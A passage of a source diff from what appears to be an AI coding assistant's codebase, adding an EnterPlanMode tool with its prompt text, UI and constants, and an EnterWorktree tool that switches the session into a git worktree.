+ export const EnterPlanModeTool: Tool<InputSchema, Output> = buildTool({
37
+ name: ENTER_PLAN_MODE_TOOL_NAME,
38
+ searchHint: 'switch to plan mode to design an approach before coding',
39
+ maxResultSizeChars: 100_000,
40
+ async description() {
41
+ return 'Requests permission to enter plan mode for complex tasks requiring exploration and design'
42
+ },
43
+ async prompt() {
44
+ return getEnterPlanModeToolPrompt()
45
+ },
46
+ get inputSchema(): InputSchema {
47
+ return inputSchema()
48
+ },
49
+ get outputSchema(): OutputSchema {
50
+ return outputSchema()
51
+ },
52
+ userFacingName() {
53
+ return ''
54
+ },
55
+ shouldDefer: true,
56
+ isEnabled() {
57
+ // When --channels is active, ExitPlanMode is disabled (its approval
58
+ // dialog needs the terminal). Disable entry too so plan mode isn't a
59
+ // trap the model can enter but never leave.
60
+ if (
61
+ (feature('KAIROS') || feature('KAIROS_CHANNELS')) &&
62
+ getAllowedChannels().length > 0
63
+ ) {
64
+ return false
65
+ }
66
+ return true
67
+ },
68
+ isConcurrencySafe() {
69
+ return true
70
+ },
71
+ isReadOnly() {
72
+ return true
73
+ },
74
+ renderToolUseMessage,
75
+ renderToolResultMessage,
76
+ renderToolUseRejectedMessage,
77
+ async call(_input, context) {
78
+ if (context.agentId) {
79
+ throw new Error('EnterPlanMode tool cannot be used in agent contexts')
80
+ }
81
+
82
+ const appState = context.getAppState()
83
+ handlePlanModeTransition(appState.toolPermissionContext.mode, 'plan')
84
+
85
+ // Update the permission mode to 'plan'. prepareContextForPlanMode runs
86
+ // the classifier activation side effects when the user's defaultMode is
87
+ // 'auto' — see permissionSetup.ts for the full lifecycle.
88
+ context.setAppState(prev => ({
89
+ ...prev,
90
+ toolPermissionContext: applyPermissionUpdate(
91
+ prepareContextForPlanMode(prev.toolPermissionContext),
92
+ { type: 'setMode', mode: 'plan', destination: 'session' },
93
+ ),
94
+ }))
95
+
96
+ return {
97
+ data: {
98
+ message:
99
+ 'Entered plan mode. You should now focus on exploring the codebase and designing an implementation approach.',
100
+ },
101
+ }
102
+ },
103
+ mapToolResultToToolResultBlockParam({ message }, toolUseID) {
104
+ const instructions = isPlanModeInterviewPhaseEnabled()
105
+ ? `${message}
106
+
107
+ DO NOT write or edit any files except the plan file. Detailed workflow instructions will follow.`
108
+ : `${message}
109
+
110
+ In plan mode, you should:
111
+ 1. Thoroughly explore the codebase to understand existing patterns
112
+ 2. Identify similar features and architectural approaches
113
+ 3. Consider multiple approaches and their trade-offs
114
+ 4. Use AskUserQuestion if you need to clarify the approach
115
+ 5. Design a concrete implementation strategy
116
+ 6. When ready, use ExitPlanMode to present your plan for approval
117
+
118
+ Remember: DO NOT write or edit any files yet. This is a read-only exploration and planning phase.`
119
+
120
+ return {
121
+ type: 'tool_result',
122
+ content: instructions,
123
+ tool_use_id: toolUseID,
124
+ }
125
+ },
126
+ } satisfies ToolDef<InputSchema, Output>)
src/tools/EnterPlanModeTool/UI.tsx ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import * as React from 'react';
2
+ import { BLACK_CIRCLE } from 'src/constants/figures.js';
3
+ import { getModeColor } from 'src/utils/permissions/PermissionMode.js';
4
+ import { Box, Text } from '../../ink.js';
5
+ import type { ToolProgressData } from '../../Tool.js';
6
+ import type { ProgressMessage } from '../../types/message.js';
7
+ import type { ThemeName } from '../../utils/theme.js';
8
+ import type { Output } from './EnterPlanModeTool.js';
9
+ export function renderToolUseMessage(): React.ReactNode {
10
+ return null;
11
+ }
12
+ export function renderToolResultMessage(_output: Output, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], _options: {
13
+ theme: ThemeName;
14
+ }): React.ReactNode {
15
+ return <Box flexDirection="column" marginTop={1}>
16
+ <Box flexDirection="row">
17
+ <Text color={getModeColor('plan')}>{BLACK_CIRCLE}</Text>
18
+ <Text> Entered plan mode</Text>
19
+ </Box>
20
+ <Box paddingLeft={2}>
21
+ <Text dimColor>
22
+ Claude is now exploring and designing an implementation approach.
23
+ </Text>
24
+ </Box>
25
+ </Box>;
26
+ }
27
+ export function renderToolUseRejectedMessage(): React.ReactNode {
28
+ return <Box flexDirection="row" marginTop={1}>
29
+ <Text color={getModeColor('default')}>{BLACK_CIRCLE}</Text>
30
+ <Text> User declined to enter plan mode</Text>
31
+ </Box>;
32
+ }
33
+ //# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJMQUNLX0NJUkNMRSIsImdldE1vZGVDb2xvciIsIkJveCIsIlRleHQiLCJUb29sUHJvZ3Jlc3NEYXRhIiwiUHJvZ3Jlc3NNZXNzYWdlIiwiVGhlbWVOYW1lIiwiT3V0cHV0IiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJSZWFjdE5vZGUiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsIl9vdXRwdXQiLCJfcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UiLCJfb3B0aW9ucyIsInRoZW1lIiwicmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSJdLCJzb3VyY2VzIjpbIlVJLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEJMQUNLX0NJUkNMRSB9IGZyb20gJ3NyYy9jb25zdGFudHMvZmlndXJlcy5qcydcbmltcG9ydCB7IGdldE1vZGVDb2xvciB9IGZyb20gJ3NyYy91dGlscy9wZXJtaXNzaW9ucy9QZXJtaXNzaW9uTW9kZS5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgVG9vbFByb2dyZXNzRGF0YSB9IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IFByb2dyZXNzTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IFRoZW1lTmFtZSB9IGZyb20gJy4uLy4uL3V0aWxzL3RoZW1lLmpzJ1xuaW1wb3J0IHR5cGUgeyBPdXRwdXQgfSBmcm9tICcuL0VudGVyUGxhbk1vZGVUb29sLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuIG51bGxcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xSZXN1bHRNZXNzYWdlKFxuICBfb3V0cHV0OiBPdXRwdXQsXG4gIF9wcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZTogUHJvZ3Jlc3NNZXNzYWdlPFRvb2xQcm9ncmVzc0RhdGE+W10sXG4gIF9vcHRpb25zOiB7IHRoZW1lOiBUaGVtZU5hbWUgfSxcbik6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiPlxuICAgICAgICA8VGV4dCBjb2xvcj17Z2V0TW9kZUNvbG9yKCdwbGFuJyl9PntCTEFDS19DSVJDTEV9PC9UZXh0PlxuICAgICAgICA8VGV4dD4gRW50ZXJlZCBwbGFuIG1vZGU8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICAgIDxCb3ggcGFkZGluZ0xlZnQ9ezJ9PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICBDbGF1ZGUgaXMgbm93IGV4cGxvcmluZyBhbmQgZGVzaWduaW5nIGFuIGltcGxlbWVudGF0aW9uIGFwcHJvYWNoLlxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICA8L0JveD5cbiAgKVxufVxuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSgpOiBSZWFjdC5SZWFjdE5vZGUge1xuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiIG1hcmdpblRvcD17MX0+XG4gICAgICA8VGV4dCBjb2xvcj17Z2V0TW9kZUNvbG9yKCdkZWZhdWx0Jyl9PntCTEFDS19DSVJDTEV9PC9UZXh0PlxuICAgICAgPFRleHQ+IFVzZXIgZGVjbGluZWQgdG8gZW50ZXIgcGxhbiBtb2RlPC9UZXh0PlxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiJBQUFBLE9BQU8sS0FBS0EsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FBU0MsWUFBWSxRQUFRLDBCQUEwQjtBQUN2RCxTQUFTQyxZQUFZLFFBQVEseUNBQXlDO0FBQ3RFLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsZ0JBQWdCLFFBQVEsZUFBZTtBQUNyRCxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELGNBQWNDLFNBQVMsUUFBUSxzQkFBc0I7QUFDckQsY0FBY0MsTUFBTSxRQUFRLHdCQUF3QjtBQUVwRCxPQUFPLFNBQVNDLG9CQUFvQkEsQ0FBQSxDQUFFLEVBQUVULEtBQUssQ0FBQ1UsU0FBUyxDQUFDO0VBQ3RELE9BQU8sSUFBSTtBQUNiO0FBRUEsT0FBTyxTQUFTQyx1QkFBdUJBLENBQ3JDQyxPQUFPLEVBQUVKLE1BQU0sRUFDZkssMkJBQTJCLEVBQUVQLGVBQWUsQ0FBQ0QsZ0JBQWdCLENBQUMsRUFBRSxFQUNoRVMsUUFBUSxFQUFFO0VBQUVDLEtBQUssRUFBRVIsU0FBUztBQUFDLENBQUMsQ0FDL0IsRUFBRVAsS0FBSyxDQUFDVSxTQUFTLENBQUM7RUFDakIsT0FDRSxDQUFDLEdBQUcsQ0FBQyxhQUFhLENBQUMsUUFBUSxDQUFDLFNBQVMsQ0FBQyxDQUFDLENBQUMsQ0FBQztBQUM3QyxNQUFNLENBQUMsR0FBRyxDQUFDLGFBQWEsQ0FBQyxLQUFLO0FBQzlCLFFBQVEsQ0FBQyxJQUFJLENBQUMsS0FBSyxDQUFDLENBQUNSLFlBQVksQ0FBQyxNQUFNLENBQUMsQ0FBQyxDQUFDLENBQUNELFlBQVksQ0FBQyxFQUFFLElBQUk7QUFDL0QsUUFBUSxDQUFDLElBQUksQ0FBQyxrQkFBa0IsRUFBRSxJQUFJO0FBQ3RDLE1BQU0sRUFBRSxHQUFHO0FBQ1gsTUFBTSxDQUFDLEdBQUcsQ0FBQyxXQUFXLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDMUIsUUFBUSxDQUFDLElBQUksQ0FBQyxRQUFRO0FBQ3RCO0FBQ0EsUUFBUSxFQUFFLElBQUk7QUFDZCxNQUFNLEVBQUUsR0FBRztBQUNYLElBQUksRUFBRSxHQUFHLENBQUM7QUFFVjtBQUVBLE9BQU8sU0FBU2UsNEJBQTRCQSxDQUFBLENBQUUsRUFBRWhCLEtBQUssQ0FBQ1UsU0FBUyxDQUFDO0VBQzlELE9BQ0UsQ0FBQyxHQUFHLENBQUMsYUFBYSxDQUFDLEtBQUssQ0FBQyxTQUFTLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDMUMsTUFBTSxDQUFDLElBQUksQ0FBQyxLQUFLLENBQUMsQ0FBQ1IsWUFBWSxDQUFDLFNBQVMsQ0FBQyxDQUFDLENBQUMsQ0FBQ0QsWUFBWSxDQUFDLEVBQUUsSUFBSTtBQUNoRSxNQUFNLENBQUMsSUFBSSxDQUFDLGlDQUFpQyxFQUFFLElBQUk7QUFDbkQsSUFBSSxFQUFFLEdBQUcsQ0FBQztBQUVWIiwiaWdub3JlTGlzdCI6W119
src/tools/EnterPlanModeTool/constants.ts ADDED
@@ -0,0 +1 @@
 
 
1
+ export const ENTER_PLAN_MODE_TOOL_NAME = 'EnterPlanMode'
src/tools/EnterPlanModeTool/prompt.ts ADDED
@@ -0,0 +1,170 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { isPlanModeInterviewPhaseEnabled } from '../../utils/planModeV2.js'
2
+ import { ASK_USER_QUESTION_TOOL_NAME } from '../AskUserQuestionTool/prompt.js'
3
+
4
+ const WHAT_HAPPENS_SECTION = `## What Happens in Plan Mode
5
+
6
+ In plan mode, you'll:
7
+ 1. Thoroughly explore the codebase using Glob, Grep, and Read tools
8
+ 2. Understand existing patterns and architecture
9
+ 3. Design an implementation approach
10
+ 4. Present your plan to the user for approval
11
+ 5. Use ${ASK_USER_QUESTION_TOOL_NAME} if you need to clarify approaches
12
+ 6. Exit plan mode with ExitPlanMode when ready to implement
13
+
14
+ `
15
+
16
+ function getEnterPlanModeToolPromptExternal(): string {
17
+ // When interview phase is enabled, omit the "What Happens" section —
18
+ // detailed workflow instructions arrive via the plan_mode attachment (messages.ts).
19
+ const whatHappens = isPlanModeInterviewPhaseEnabled()
20
+ ? ''
21
+ : WHAT_HAPPENS_SECTION
22
+
23
+ return `Use this tool proactively when you're about to start a non-trivial implementation task. Getting user sign-off on your approach before writing code prevents wasted effort and ensures alignment. This tool transitions you into plan mode where you can explore the codebase and design an implementation approach for user approval.
24
+
25
+ ## When to Use This Tool
26
+
27
+ **Prefer using EnterPlanMode** for implementation tasks unless they're simple. Use it when ANY of these conditions apply:
28
+
29
+ 1. **New Feature Implementation**: Adding meaningful new functionality
30
+ - Example: "Add a logout button" - where should it go? What should happen on click?
31
+ - Example: "Add form validation" - what rules? What error messages?
32
+
33
+ 2. **Multiple Valid Approaches**: The task can be solved in several different ways
34
+ - Example: "Add caching to the API" - could use Redis, in-memory, file-based, etc.
35
+ - Example: "Improve performance" - many optimization strategies possible
36
+
37
+ 3. **Code Modifications**: Changes that affect existing behavior or structure
38
+ - Example: "Update the login flow" - what exactly should change?
39
+ - Example: "Refactor this component" - what's the target architecture?
40
+
41
+ 4. **Architectural Decisions**: The task requires choosing between patterns or technologies
42
+ - Example: "Add real-time updates" - WebSockets vs SSE vs polling
43
+ - Example: "Implement state management" - Redux vs Context vs custom solution
44
+
45
+ 5. **Multi-File Changes**: The task will likely touch more than 2-3 files
46
+ - Example: "Refactor the authentication system"
47
+ - Example: "Add a new API endpoint with tests"
48
+
49
+ 6. **Unclear Requirements**: You need to explore before understanding the full scope
50
+ - Example: "Make the app faster" - need to profile and identify bottlenecks
51
+ - Example: "Fix the bug in checkout" - need to investigate root cause
52
+
53
+ 7. **User Preferences Matter**: The implementation could reasonably go multiple ways
54
+ - If you would use ${ASK_USER_QUESTION_TOOL_NAME} to clarify the approach, use EnterPlanMode instead
55
+ - Plan mode lets you explore first, then present options with context
56
+
57
+ ## When NOT to Use This Tool
58
+
59
+ Only skip EnterPlanMode for simple tasks:
60
+ - Single-line or few-line fixes (typos, obvious bugs, small tweaks)
61
+ - Adding a single function with clear requirements
62
+ - Tasks where the user has given very specific, detailed instructions
63
+ - Pure research/exploration tasks (use the Agent tool with explore agent instead)
64
+
65
+ ${whatHappens}## Examples
66
+
67
+ ### GOOD - Use EnterPlanMode:
68
+ User: "Add user authentication to the app"
69
+ - Requires architectural decisions (session vs JWT, where to store tokens, middleware structure)
70
+
71
+ User: "Optimize the database queries"
72
+ - Multiple approaches possible, need to profile first, significant impact
73
+
74
+ User: "Implement dark mode"
75
+ - Architectural decision on theme system, affects many components
76
+
77
+ User: "Add a delete button to the user profile"
78
+ - Seems simple but involves: where to place it, confirmation dialog, API call, error handling, state updates
79
+
80
+ User: "Update the error handling in the API"
81
+ - Affects multiple files, user should approve the approach
82
+
83
+ ### BAD - Don't use EnterPlanMode:
84
+ User: "Fix the typo in the README"
85
+ - Straightforward, no planning needed
86
+
87
+ User: "Add a console.log to debug this function"
88
+ - Simple, obvious implementation
89
+
90
+ User: "What files handle routing?"
91
+ - Research task, not implementation planning
92
+
93
+ ## Important Notes
94
+
95
+ - This tool REQUIRES user approval - they must consent to entering plan mode
96
+ - If unsure whether to use it, err on the side of planning - it's better to get alignment upfront than to redo work
97
+ - Users appreciate being consulted before significant changes are made to their codebase
98
+ `
99
+ }
100
+
101
+ function getEnterPlanModeToolPromptAnt(): string {
102
+ // When interview phase is enabled, omit the "What Happens" section —
103
+ // detailed workflow instructions arrive via the plan_mode attachment (messages.ts).
104
+ const whatHappens = isPlanModeInterviewPhaseEnabled()
105
+ ? ''
106
+ : WHAT_HAPPENS_SECTION
107
+
108
+ return `Use this tool when a task has genuine ambiguity about the right approach and getting user input before coding would prevent significant rework. This tool transitions you into plan mode where you can explore the codebase and design an implementation approach for user approval.
109
+
110
+ ## When to Use This Tool
111
+
112
+ Plan mode is valuable when the implementation approach is genuinely unclear. Use it when:
113
+
114
+ 1. **Significant Architectural Ambiguity**: Multiple reasonable approaches exist and the choice meaningfully affects the codebase
115
+ - Example: "Add caching to the API" - Redis vs in-memory vs file-based
116
+ - Example: "Add real-time updates" - WebSockets vs SSE vs polling
117
+
118
+ 2. **Unclear Requirements**: You need to explore and clarify before you can make progress
119
+ - Example: "Make the app faster" - need to profile and identify bottlenecks
120
+ - Example: "Refactor this module" - need to understand what the target architecture should be
121
+
122
+ 3. **High-Impact Restructuring**: The task will significantly restructure existing code and getting buy-in first reduces risk
123
+ - Example: "Redesign the authentication system"
124
+ - Example: "Migrate from one state management approach to another"
125
+
126
+ ## When NOT to Use This Tool
127
+
128
+ Skip plan mode when you can reasonably infer the right approach:
129
+ - The task is straightforward even if it touches multiple files
130
+ - The user's request is specific enough that the implementation path is clear
131
+ - You're adding a feature with an obvious implementation pattern (e.g., adding a button, a new endpoint following existing conventions)
132
+ - Bug fixes where the fix is clear once you understand the bug
133
+ - Research/exploration tasks (use the Agent tool instead)
134
+ - The user says something like "can we work on X" or "let's do X" — just get started
135
+
136
+ When in doubt, prefer starting work and using ${ASK_USER_QUESTION_TOOL_NAME} for specific questions over entering a full planning phase.
137
+
138
+ ${whatHappens}## Examples
139
+
140
+ ### GOOD - Use EnterPlanMode:
141
+ User: "Add user authentication to the app"
142
+ - Genuinely ambiguous: session vs JWT, where to store tokens, middleware structure
143
+
144
+ User: "Redesign the data pipeline"
145
+ - Major restructuring where the wrong approach wastes significant effort
146
+
147
+ ### BAD - Don't use EnterPlanMode:
148
+ User: "Add a delete button to the user profile"
149
+ - Implementation path is clear; just do it
150
+
151
+ User: "Can we work on the search feature?"
152
+ - User wants to get started, not plan
153
+
154
+ User: "Update the error handling in the API"
155
+ - Start working; ask specific questions if needed
156
+
157
+ User: "Fix the typo in the README"
158
+ - Straightforward, no planning needed
159
+
160
+ ## Important Notes
161
+
162
+ - This tool REQUIRES user approval - they must consent to entering plan mode
163
+ `
164
+ }
165
+
166
+ export function getEnterPlanModeToolPrompt(): string {
167
+ return process.env.USER_TYPE === 'ant'
168
+ ? getEnterPlanModeToolPromptAnt()
169
+ : getEnterPlanModeToolPromptExternal()
170
+ }
src/tools/EnterWorktreeTool/EnterWorktreeTool.ts ADDED
@@ -0,0 +1,127 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { z } from 'zod/v4'
2
+ import { getSessionId, setOriginalCwd } from '../../bootstrap/state.js'
3
+ import { clearSystemPromptSections } from '../../constants/systemPromptSections.js'
4
+ import { logEvent } from '../../services/analytics/index.js'
5
+ import type { Tool } from '../../Tool.js'
6
+ import { buildTool, type ToolDef } from '../../Tool.js'
7
+ import { clearMemoryFileCaches } from '../../utils/claudemd.js'
8
+ import { getCwd } from '../../utils/cwd.js'
9
+ import { findCanonicalGitRoot } from '../../utils/git.js'
10
+ import { lazySchema } from '../../utils/lazySchema.js'
11
+ import { getPlanSlug, getPlansDirectory } from '../../utils/plans.js'
12
+ import { setCwd } from '../../utils/Shell.js'
13
+ import { saveWorktreeState } from '../../utils/sessionStorage.js'
14
+ import {
15
+ createWorktreeForSession,
16
+ getCurrentWorktreeSession,
17
+ validateWorktreeSlug,
18
+ } from '../../utils/worktree.js'
19
+ import { ENTER_WORKTREE_TOOL_NAME } from './constants.js'
20
+ import { getEnterWorktreeToolPrompt } from './prompt.js'
21
+ import { renderToolResultMessage, renderToolUseMessage } from './UI.js'
22
+
23
+ const inputSchema = lazySchema(() =>
24
+ z.strictObject({
25
+ name: z
26
+ .string()
27
+ .superRefine((s, ctx) => {
28
+ try {
29
+ validateWorktreeSlug(s)
30
+ } catch (e) {
31
+ ctx.addIssue({ code: 'custom', message: (e as Error).message })
32
+ }
33
+ })
34
+ .optional()
35
+ .describe(
36
+ 'Optional name for the worktree. Each "/"-separated segment may contain only letters, digits, dots, underscores, and dashes; max 64 chars total. A random name is generated if not provided.',
37
+ ),
38
+ }),
39
+ )
40
+ type InputSchema = ReturnType<typeof inputSchema>
41
+
42
+ const outputSchema = lazySchema(() =>
43
+ z.object({
44
+ worktreePath: z.string(),
45
+ worktreeBranch: z.string().optional(),
46
+ message: z.string(),
47
+ }),
48
+ )
49
+ type OutputSchema = ReturnType<typeof outputSchema>
50
+ export type Output = z.infer<OutputSchema>
51
+
52
+ export const EnterWorktreeTool: Tool<InputSchema, Output> = buildTool({
53
+ name: ENTER_WORKTREE_TOOL_NAME,
54
+ searchHint: 'create an isolated git worktree and switch into it',
55
+ maxResultSizeChars: 100_000,
56
+ async description() {
57
+ return 'Creates an isolated worktree (via git or configured hooks) and switches the session into it'
58
+ },
59
+ async prompt() {
60
+ return getEnterWorktreeToolPrompt()
61
+ },
62
+ get inputSchema(): InputSchema {
63
+ return inputSchema()
64
+ },
65
+ get outputSchema(): OutputSchema {
66
+ return outputSchema()
67
+ },
68
+ userFacingName() {
69
+ return 'Creating worktree'
70
+ },
71
+ shouldDefer: true,
72
+ toAutoClassifierInput(input) {
73
+ return input.name ?? ''
74
+ },
75
+ renderToolUseMessage,
76
+ renderToolResultMessage,
77
+ async call(input) {
78
+ // Validate not already in a worktree created by this session
79
+ if (getCurrentWorktreeSession()) {
80
+ throw new Error('Already in a worktree session')
81
+ }
82
+
83
+ // Resolve to main repo root so worktree creation works from within a worktree
84
+ const mainRepoRoot = findCanonicalGitRoot(getCwd())
85
+ if (mainRepoRoot && mainRepoRoot !== getCwd()) {
86
+ process.chdir(mainRepoRoot)
87
+ setCwd(mainRepoRoot)
88
+ }
89
+
90
+ const slug = input.name ?? getPlanSlug()
91
+
92
+ const worktreeSession = await createWorktreeForSession(getSessionId(), slug)
93
+
94
+ process.chdir(worktreeSession.worktreePath)
95
+ setCwd(worktreeSession.worktreePath)
96
+ setOriginalCwd(getCwd())
97
+ saveWorktreeState(worktreeSession)
98
+ // Clear cached system prompt sections so env_info_simple recomputes with worktree context
99
+ clearSystemPromptSections()
100
+ // Clear memoized caches that depend on CWD
101
+ clearMemoryFileCaches()
102
+ getPlansDirectory.cache.clear?.()
103
+
104
+ logEvent('tengu_worktree_created', {
105
+ mid_session: true,
106
+ })
107
+
108
+ const branchInfo = worktreeSession.worktreeBranch
109
+ ? ` on branch ${worktreeSession.worktreeBranch}`
110
+ : ''
111
+
112
+ return {
113
+ data: {
114
+ worktreePath: worktreeSession.worktreePath,
115
+ worktreeBranch: worktreeSession.worktreeBranch,
116
+ message: `Created worktree at ${worktreeSession.worktreePath}${branchInfo}. The session is now working in the worktree. Use ExitWorktree to leave mid-session, or exit the session to be prompted.`,
117
+ },
118
+ }
119
+ },
120
+ mapToolResultToToolResultBlockParam({ message }, toolUseID) {
121
+ return {
122
+ type: 'tool_result',
123
+ content: message,
124
+ tool_use_id: toolUseID,
125
+ }
126
+ },
127
+ } satisfies ToolDef<InputSchema, Output>)
src/tools/EnterWorktreeTool/UI.tsx ADDED
@@ -0,0 +1,20 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import * as React from 'react';
2
+ import { Box, Text } from '../../ink.js';
3
+ import type { ToolProgressData } from '../../Tool.js';
4
+ import type { ProgressMessage } from '../../types/message.js';
5
+ import type { ThemeName } from '../../utils/theme.js';
6
+ import type { Output } from './EnterWorktreeTool.js';
7
+ export function renderToolUseMessage(): React.ReactNode {
8
+ return 'Creating worktree…';
9
+ }
10
+ export function renderToolResultMessage(output: Output, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], _options: {
11
+ theme: ThemeName;
12
+ }): React.ReactNode {
13
+ return <Box flexDirection="column">
14
+ <Text>
15
+ Switched to worktree on branch <Text bold>{output.worktreeBranch}</Text>
16
+ </Text>
17
+ <Text dimColor>{output.worktreePath}</Text>
18
+ </Box>;
19
+ }
20
+ //# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJveCIsIlRleHQiLCJUb29sUHJvZ3Jlc3NEYXRhIiwiUHJvZ3Jlc3NNZXNzYWdlIiwiVGhlbWVOYW1lIiwiT3V0cHV0IiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJSZWFjdE5vZGUiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsIm91dHB1dCIsIl9wcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZSIsIl9vcHRpb25zIiwidGhlbWUiLCJ3b3JrdHJlZUJyYW5jaCIsIndvcmt0cmVlUGF0aCJdLCJzb3VyY2VzIjpbIlVJLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgVG9vbFByb2dyZXNzRGF0YSB9IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IFByb2dyZXNzTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IFRoZW1lTmFtZSB9IGZyb20gJy4uLy4uL3V0aWxzL3RoZW1lLmpzJ1xuaW1wb3J0IHR5cGUgeyBPdXRwdXQgfSBmcm9tICcuL0VudGVyV29ya3RyZWVUb29sLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuICdDcmVhdGluZyB3b3JrdHJlZeKApidcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xSZXN1bHRNZXNzYWdlKFxuICBvdXRwdXQ6IE91dHB1dCxcbiAgX3Byb2dyZXNzTWVzc2FnZXNGb3JNZXNzYWdlOiBQcm9ncmVzc01lc3NhZ2U8VG9vbFByb2dyZXNzRGF0YT5bXSxcbiAgX29wdGlvbnM6IHsgdGhlbWU6IFRoZW1lTmFtZSB9LFxuKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgIDxUZXh0PlxuICAgICAgICBTd2l0Y2hlZCB0byB3b3JrdHJlZSBvbiBicmFuY2ggPFRleHQgYm9sZD57b3V0cHV0Lndvcmt0cmVlQnJhbmNofTwvVGV4dD5cbiAgICAgIDwvVGV4dD5cbiAgICAgIDxUZXh0IGRpbUNvbG9yPntvdXRwdXQud29ya3RyZWVQYXRofTwvVGV4dD5cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxPQUFPLEtBQUtBLEtBQUssTUFBTSxPQUFPO0FBQzlCLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsZ0JBQWdCLFFBQVEsZUFBZTtBQUNyRCxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELGNBQWNDLFNBQVMsUUFBUSxzQkFBc0I7QUFDckQsY0FBY0MsTUFBTSxRQUFRLHdCQUF3QjtBQUVwRCxPQUFPLFNBQVNDLG9CQUFvQkEsQ0FBQSxDQUFFLEVBQUVQLEtBQUssQ0FBQ1EsU0FBUyxDQUFDO0VBQ3RELE9BQU8sb0JBQW9CO0FBQzdCO0FBRUEsT0FBTyxTQUFTQyx1QkFBdUJBLENBQ3JDQyxNQUFNLEVBQUVKLE1BQU0sRUFDZEssMkJBQTJCLEVBQUVQLGVBQWUsQ0FBQ0